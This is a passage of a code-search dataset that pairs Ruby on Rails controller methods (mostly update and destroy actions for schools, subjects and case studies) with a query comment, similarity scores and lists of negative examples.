"def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end",
"def change_subject(school, instructor_name2, new_subject)\n school[:instructors].each do |instructor|\n if instructor_name2 == instructor[:name]\n instructor[:subject] = new_subject\n puts \"#{instructor_name2}'s subject has been updated to #{new_subject}\"\n end\n end\nend",
"def update\n @assignment = Assignment.find(params[:assignment_id])\n @essay = Essay.find(params[:id])\n \n respond_to do |format|\n if @essay.update_attributes(params[:essay])\n format.html { redirect_to assignment_essay_url(@essay.assignment_id, @essay.id), notice: 'Essay was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @essay.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @physician.update(survey_params)\n head :no_content\n else\n render json: @physician.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @subject_file.update(subject_file_params)\n format.html { redirect_to @subject_file, notice: 'Subject file was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject_file }\n else\n format.html { render :edit }\n format.json { render json: @subject_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @clinical_course = ClinicalCourse.find(params[:id])\n\n respond_to do |format|\n if @clinical_course.update_attributes(params[:clinical_course])\n format.html { redirect_to @clinical_course, notice: 'Clinical course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinical_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @case_study = CaseStudy.find(params[:id])\n\n respond_to do |format|\n if @case_study.update_attributes(params[:case_study])\n format.html { redirect_to @case_study, notice: 'Case study was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @case_study.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @study_case.update(study_case_params)\n render :show, status: :ok\n else\n render json: @study_case.errors, status: :unprocessable_entity\n end\n end",
"def update\n @casestudy = Casestudy.find(params[:id])\n\n respond_to do |format|\n if @casestudy.update_attributes(params[:casestudy])\n format.html { redirect_to admin_casestudy_path(@casestudy), notice: '成功案例更新完成。' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @casestudy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n if @book.update_attributes(book_param)\n redirect_to :action => 'show', :id => @book\n else\n @subjects = Subject.all\n render :action => 'edit'\n end\n end",
"def update\n respond_to do |format|\n if @school_type.update(school_type_params)\n format.html { redirect_to @school_type, notice: 'School type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @school_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @code_club_school.update(code_club_school_params)\n format.html { redirect_to @code_club_school, notice: 'Code club school was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @code_club_school.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @academic_year = AcademicYear.find(params[:id])\n\n if @academic_year.update_attributes(params[:san_subject])\n @academic_years = AcademicYear.paginate :page=>params[:page], :per_page=>15\n flash[:notice] = t('flash_msg45')\n else\n @errors = @academic_year.errors\n end\n end",
"def update\n respond_to do |format|\n if @subdiscipline.update(subdiscipline_params)\n format.html { redirect_to @subdiscipline, notice: 'Subdiscipline was successfully updated.' }\n format.json { render :show, status: :ok, location: @subdiscipline }\n else\n format.html { render :edit }\n format.json { render json: @subdiscipline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @school, notice: 'School update successful.' }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @case_study = CaseStudy.find(params[:id])\n\n respond_to do |format|\n if @case_study.update_attributes(params[:case_study])\n format.html { redirect_to @case_study, notice: 'Case study was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @case_study.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cycle = Cycle.find(params[:id])\n\n add_terms(params[\"terms-id\"],@cycle)\n respond_to do |format|\n if @cycle.update_attributes(params[:cycle])\n format.html { redirect_to @cycle, notice: 'Cycle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cycle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_subject_evaluation = @test_subject.test_subject_evaluations.find(params[:id])\n\n #Check if symptoms and past_medical is empty\n if !params.has_key?(:symptoms)\n @test_subject_evaluation.symptoms = []\n end\n if !params.has_key?(:past_medical)\n @test_subject_evaluation.past_medical = []\n end\n\n respond_to do |format|\n if @test_subject_evaluation.update_attributes(params[:test_subject_evaluation])\n flash[:notice] = \"#{TestSubject.title} Evaluation was successfully updated.\"\n format.html { redirect_to(test_subject_test_subject_evaluation_url(@test_subject, @test_subject_evaluation)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_subject_evaluation.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.708378",
"0.7005787",
"0.69465834",
"0.6943446",
"0.6921974",
"0.6832406",
"0.6823597",
"0.68084157",
"0.6792497",
"0.6765972",
"0.6758409",
"0.66994804",
"0.6636598",
"0.6636386",
"0.6609275",
"0.6609275",
"0.65811723",
"0.65713036",
"0.655361",
"0.65315545",
"0.65271455",
"0.64808947",
"0.64767474",
"0.6467494",
"0.6457657",
"0.64493984",
"0.6415217",
"0.64000744",
"0.63920856",
"0.63784087",
"0.63522166",
"0.63324994",
"0.63321686",
"0.6326075",
"0.6302889",
"0.6295063",
"0.62823963",
"0.62711936",
"0.62659",
"0.62612474",
"0.6244551",
"0.62442374",
"0.6234313",
"0.6233094",
"0.6231148",
"0.62306005",
"0.6226165",
"0.62161356",
"0.6205391",
"0.620273",
"0.61941504",
"0.6192804",
"0.61896896",
"0.61862105",
"0.6169513",
"0.6168804",
"0.6141936",
"0.6133651",
"0.61290425",
"0.6127095",
"0.6099055",
"0.6094577",
"0.609284",
"0.6083424",
"0.6083424",
"0.6078292",
"0.6075491",
"0.6062672",
"0.60597855",
"0.6046118",
"0.6042925",
"0.6007286",
"0.6002752",
"0.5996787",
"0.5993337",
"0.59921664",
"0.5985584",
"0.59667844",
"0.5962679",
"0.5957276",
"0.5957276",
"0.5957276",
"0.5957276",
"0.59569645",
"0.59537727",
"0.5946176",
"0.59436786",
"0.59396493",
"0.59357816",
"0.59352714",
"0.5934717",
"0.59278595",
"0.59248096",
"0.59225893",
"0.5913571",
"0.5910186",
"0.59085757",
"0.5905678",
"0.59023476",
"0.59015924"
] |
0.73374045
|
0
|
DELETE /school_cycle_has_subjects/1 DELETE /school_cycle_has_subjects/1.json
|
def destroy
@school_cycle_has_subject.destroy
respond_to do |format|
format.html { redirect_to asig_school_cycle_has_subjects_path, notice: 'School cycle has subject was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @manual_subject = Manual::Subject.find(params[:id])\n @manual_subject.destroy\n\n respond_to do |format|\n format.html { redirect_to manual_subjects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @university_subject.destroy\n respond_to do |format|\n format.html { redirect_to university_subjects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mysubject.destroy\n respond_to do |format|\n format.html { redirect_to mysubjects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @curriculums_subject = CurriculumsSubject.find(params[:id])\n @curriculums_subject.destroy\n\n respond_to do |format|\n format.html { redirect_to curriculums_subjects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @subject = Subject.find(params[:id])\n @subject.destroy\n\n respond_to do |format|\n format.html { redirect_to subjects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @title = \"Destroy Subject\"\n @subject = Subject.find(params[:id])\n @subject.destroy\n\n respond_to do |format|\n format.html { redirect_to subjects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @subject = Subject.find(params[:id])\n @subject.destroy\n\n respond_to do |format|\n format.html { redirect_to subjects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @subject = @client.subjects.find(params[:id])\n @subject.destroy\n\n respond_to do |format|\n flash[:notice] = 'Subject was successfully removed.' \n format.html { redirect_to(client_subjects_url(@client)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @exam_subject.destroy\n respond_to do |format|\n format.html { redirect_to exam_subjects_url, notice: 'Exam subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject.delete\n respond_to do |format|\n format.html { redirect_to subjects_url, notice: 'La matière a été supprimée' }\n format.json { head :no_content }\n end\n end",
"def delete_sub_subject\n @sub_subject=SubSubject.find_by(:id=>params[:id])\n @sub_subject.destroy\n respond_to do |format|\n format.html { redirect_to subjects_url, notice: @sub_subject.show_name + ' was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_subject.destroy\n respond_to do |format|\n format.html { redirect_to student_subjects_url, notice: 'Student subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject.destroy\n\n respond_to do |format|\n format.html { redirect_to subjects_url, notice: t('controller.successfully_deleted', model: t('activerecord.models.subject')) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject.destroy\n respond_to do |format|\n format.html { redirect_to subjects_url, notice: 'Das Fach wurde erfolgreich gelöscht.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject_courses_relation.destroy\n respond_to do |format|\n format.html { redirect_to subject_courses_relations_url, notice: 'Subject courses relation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n admin_only\n @subject.destroy\n respond_to do |format|\n format.html { redirect_to subjects_url, notice: 'Subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @semester_subject = SemesterSubject.find(params[:id])\n @semester_subject.destroy\n\n respond_to do |format|\n format.html { redirect_to(semester_subjects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @subject.destroy\n respond_to do |format|\n format.html { redirect_to form_subjects_url(@form), notice: 'Subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject = Subject.find_by_hashed_id(params[:id])\n @subject.destroy\n\n respond_to do |format|\n format.html { redirect_to(subjects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @thesubject.destroy\n respond_to do |format|\n format.html { redirect_to thesubjects_url, notice: 'Thesubject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject.destroy\n respond_to do |format|\n format.html { redirect_to subjects_url, notice: 'Subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject.destroy\n respond_to do |format|\n format.html { redirect_to subjects_url, notice: 'Subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject.destroy\n respond_to do |format|\n format.html { redirect_to subjects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course_subject.destroy\n respond_to do |format|\n format.html { redirect_to course_subjects_url, notice: 'Course subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discipline.topics.delete_all\n @discipline.destroy\n\n respond_to do |format|\n format.html { redirect_to disciplines_url, notice: 'Discipline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject = Subject.find(params[:id])\n @subject.destroy\n\n respond_to do |format|\n format.html { redirect_to(subjects_url) }\n format.xml { head :ok }\n format.json { render :text => '{status: \"success\"}'}\n end\n end",
"def destroy\n @program_subject.destroy\n respond_to do |format|\n format.html { redirect_to program_subjects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school = School.find(params[:id])\n @school.destroy\n\n respond_to do |format|\n format.html { redirect_to cms_schools_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @study_course = StudyCourse.find(params[:id])\n @study_course.destroy\n\n respond_to do |format|\n format.html { redirect_to study_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @experiment = @subject.experiment\n @subject.destroy\n set_subjects\n respond_to do |format|\n format.html { redirect_to experiment_subjects_path(@experiment) }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @subject = Subject.find(params[:id])\n @subject.destroy\n\n respond_to do |format|\n format.html { redirect_to(subjects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n session[:setting] = \"\"\n @subject = @student.subject.find(params[:id])\n @subject.destroy\n respond_to do |format|\n format.html { redirect_to subjects_url, notice: 'Subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\tcreate_audit __method__, 'subject', @subject.id\n\t\t@subject.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to subjects_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n @disciplines_study.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to disciplines_studies_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @career_subject.destroy\n respond_to do |format|\n format.html { redirect_to career_subjects_url, notice: 'Career subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recommend_recommend_subject = Recommend::RecommendSubject.find(params[:id])\n @recommend_recommend_subject.destroy\n\n respond_to do |format|\n format.html { redirect_to recommend_recommend_subjects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_sub_course = StudentSubCourse.find(params[:id])\n @student_sub_course.destroy\n\n respond_to do |format|\n format.html { redirect_to student_sub_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tutor_subject.destroy\n respond_to do |format|\n format.html { redirect_to tutor_subjects_url, notice: 'Tutor subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subjectm.destroy\n respond_to do |format|\n format.html { redirect_to subjectms_url, notice: 'Subjectm was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @casestudy = Casestudy.find(params[:id])\n @casestudy.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_casestudies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cms_school.destroy\n respond_to do |format|\n format.html { redirect_to cms_schools_url, notice: 'School was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n @subject = Subject.find(params[:id])\n end",
"def destroy\n @subdiscipline.destroy\n respond_to do |format|\n format.html { redirect_to subdisciplines_url, notice: 'Subdiscipline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject_type.destroy\n\n respond_to do |format|\n format.html { redirect_to subject_types_url, notice: t('controller.successfully_deleted', model: t('activerecord.models.subject_type')) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject = Subject.find(params[:id])\n @subject.destroy\n\n respond_to do |format|\n format.js {render :nothing => true}\n format.html { redirect_to subjects_url ,:notice=>'Subject has been deleted.'}\n format.json { head :ok }\n end\n end",
"def destroy\n if Subject.find_by(:id=>params[:id]).is_core\n\n @subject.destroy\n #*TODO* need to delete sub sujects too?\n respond_to do |format|\n format.html { redirect_to subjects_path+\"#tab_core\", notice: @subject.name + ' was successfully deleted.' }\n format.json { head :no_content }\n end\n else\n @subject.destroy\n #*TODO* need to delete sub subjects too?\n respond_to do |format|\n format.html { redirect_to subjects_path, notice: @subject.name + ' was successfully deleted.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @clinical_course = ClinicalCourse.find(params[:id])\n @clinical_course.destroy\n\n respond_to do |format|\n format.html { redirect_to clinical_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject.destroy\n respond_to do |format|\n format.html { redirect_to project_subjects_path(@project) }\n format.js\n end\n end",
"def destroy\n @student_major = StudentMajor.find(params[:id])\n @student_major.destroy\n\n respond_to do |format|\n format.html { redirect_to student_majors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @case_study.destroy\n respond_to do |format|\n format.html { redirect_to :delete, flash: { message: 'Case study was successfully deleted.' } }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n if @subject.destroy\r\n respond_to do |format|\r\n format.html { redirect_to subjects_url, notice: 'Subject was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n else\r\n flash[:alert] = \"cannot delete subject while books exist\"\r\n redirect_to subjects_url\r\n end\r\n end",
"def destroy\n @studygroup.destroy\n respond_to do |format|\n format.html { redirect_to studygroups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject_source = SubjectSource.find(params[:id])\n @subject_source.destroy\n\n respond_to do |format|\n format.html { redirect_to subject_sources_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @case_study = CaseStudy.find(params[:id])\n @case_study.destroy\n\n respond_to do |format|\n format.html { redirect_to case_studies_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to establishments_url, notice: 'La sede y todos sus estudiantes han sido borrados' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school = School.find(params[:id])\n @school.destroy\n\n respond_to do |format|\n format.html { redirect_to schools_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school = School.find(params[:id])\n @school.destroy\n\n respond_to do |format|\n format.html { redirect_to schools_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @case_study = CaseStudy.find(params[:id])\n @case_study.destroy\n\n respond_to do |format|\n format.html { redirect_to case_studies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\tcategory = @subject.category\n @subject.destroy\n respond_to do |format|\n format.html { redirect_to category_path(category), notice: 'Subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject_type.destroy\n respond_to do |format|\n format.html { redirect_to subject_types_url, notice: 'Subject type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject_class.destroy\n respond_to do |format|\n format.html { redirect_to subject_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @essay = Essay.find(params[:id])\n @essay.destroy\n\n respond_to do |format|\n format.html { redirect_to assignment_essays_path(params[:assignment_id]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @code_club_school.destroy\n respond_to do |format|\n format.html { redirect_to code_club_schools_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @study = Study.find(params[:id])\n @study.destroy\n\n respond_to do |format|\n format.html { redirect_to studies_url }\n format.json { head :no_content }\n end\n end",
"def deleteAssignment\n @assignment = Assignment.find(params[:assignment_id])\n @assignment.destroy\n respond_to do |format|\n format.html {redirect_to add_objective_to_student_path, notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n\n \n end",
"def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School deletion successful.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n subject = get_subject\n subject.destroy\n respond_to do |format|\n format.html { \n flash[:notice] = \"Subject '#{subject.name}' has been successfully destryed.\"\n redirect_to action: :index, notice: \"Subject '#{subject.name}' has been successfully destryed.\" }\n # TODO: format.json { head :no_content }\n end\n \n end",
"def destroy\n @subject_teacher.destroy\n respond_to do |format|\n format.html { redirect_to subject_teachers_url, notice: 'Subject teacher was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to my_schools_path }\n format.json { head :no_content }\n end\n end",
"def delete_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by_id(params[:pathway_id])\n suggested_pathway.destroy\n render json: suggested_pathway\n end",
"def destroy\n @subjects_user.destroy\n respond_to do |format|\n format.html { redirect_to subjects_path(@subject), notice: 'Subjects user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chunker_subject.destroy\n respond_to do |format|\n format.html { redirect_to chunker_subjects_url, notice: 'Chunker subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @education_service_provided_typology.destroy\n respond_to do |format|\n format.html { redirect_to education_service_provided_typologies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school_type.destroy\n respond_to do |format|\n format.html { redirect_to school_types_url }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @thesis_examination.destroy\n respond_to do |format|\n format.html { redirect_to thesis_examinations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @university_course.destroy\n respond_to do |format|\n format.html { redirect_to university_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.delete\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject_of_speech.destroy\n respond_to do |format|\n format.html { redirect_to subject_of_speeches_url, notice: 'Subject of speech was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @study.destroy\n respond_to do |format|\n format.html { redirect_to studies_url, notice: 'Study was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @study.destroy\n respond_to do |format|\n format.html { redirect_to studies_url, notice: 'Study was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject = Subject.find(params[:subject_id])\n # Need to delete pageable too?\n @pageable = @page.pageable\n @pageable.destroy\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_subject_pages_path(@subject) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school_setup = SchoolSetup.find(params[:id])\n @school_setup.destroy\n\n respond_to do |format|\n format.html { redirect_to school_setups_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\n begin\n @subject = Subject.find(params[:id])\n @subject.destroy\n rescue => error\n @failure_message = error.message\n ensure\n respond_to do |format|\n if @failure_message.blank?\n flash[:notice] = 'Subject successfully deleted'\n else\n flash[:error] = @failure_message\n end\n format.html { redirect_to(session[:admin_subjects_index_url] ||= admin_subjects_path) }\n format.xml { head :ok }\n end\n end\n end",
"def destroy\n @exam_student.destroy\n respond_to do |format|\n format.html { redirect_to exams_url, notice: 'Odjavili ste ispit.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to @student.school, notice: 'Student deletion successful.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@lesson = Lesson.find(params[:id])\n @lesson = @course.lessons.find(params[:id])\n @lesson.destroy\n\n respond_to do |format|\n format.html { redirect_to course_lessons_path(@course) }\n format.json { head :no_content }\n end\n end",
"def delete_course_by_id(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/courses/#{org_unit_id}\" # setup user path\n # ap path\n _delete(path)\n puts '[+] Course data deleted successfully'.green\nend",
"def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @case_study.destroy\n respond_to do |format|\n format.html { redirect_to case_studies_url, notice: 'Case study was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @case_study.destroy\n respond_to do |format|\n format.html { redirect_to case_studies_url, notice: 'Case study was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject_file.destroy\n respond_to do |format|\n format.html { redirect_to subject_files_path(:subject => \"all\"), notice: 'Subject file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @checkstudy.destroy\n respond_to do |format|\n format.html { redirect_to checkstudies_url, notice: 'Checkstudy was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @socioeconomic_study = SocioeconomicStudy.find(params[:id])\n @socioeconomic_study.destroy\n\n respond_to do |format|\n format.html { redirect_to socioeconomic_studies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @first_exam.destroy\n respond_to do |format|\n format.html { redirect_to first_exams_url, notice: 'First exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend"
] |
[
"0.7499838",
"0.7461394",
"0.7353867",
"0.7336008",
"0.73294383",
"0.7318542",
"0.73138005",
"0.72352684",
"0.72241604",
"0.71797633",
"0.7178253",
"0.71506447",
"0.7117193",
"0.70920557",
"0.7075181",
"0.7070072",
"0.7068816",
"0.704322",
"0.70381296",
"0.70363796",
"0.70278555",
"0.70278555",
"0.70118785",
"0.70097446",
"0.7009497",
"0.70039225",
"0.6963768",
"0.6943296",
"0.69393295",
"0.6922546",
"0.6917212",
"0.68959653",
"0.6892109",
"0.68889624",
"0.68854207",
"0.6883905",
"0.6875108",
"0.68560964",
"0.682967",
"0.6822696",
"0.6820098",
"0.68151355",
"0.6802664",
"0.6790616",
"0.6784011",
"0.675929",
"0.6755162",
"0.6747946",
"0.6746782",
"0.6745904",
"0.6741793",
"0.6741118",
"0.6737823",
"0.6736954",
"0.6730265",
"0.67261523",
"0.67261523",
"0.6724307",
"0.6718394",
"0.6713367",
"0.6707852",
"0.6703018",
"0.6698122",
"0.6694303",
"0.669419",
"0.6689703",
"0.6685723",
"0.6684393",
"0.6681153",
"0.6678476",
"0.6668177",
"0.6661128",
"0.6658997",
"0.665762",
"0.6642303",
"0.66395587",
"0.66362065",
"0.66265285",
"0.6621789",
"0.662164",
"0.6606504",
"0.6606504",
"0.6592417",
"0.65915567",
"0.65890086",
"0.6588162",
"0.6586206",
"0.658035",
"0.657559",
"0.65751123",
"0.65751123",
"0.65751123",
"0.65751123",
"0.65702677",
"0.65702677",
"0.65689725",
"0.6565192",
"0.655852",
"0.6553853",
"0.6553653"
] |
0.78074205
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_school_cycle_has_subject
@school_cycle_has_subject = SchoolCycleHasSubject.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
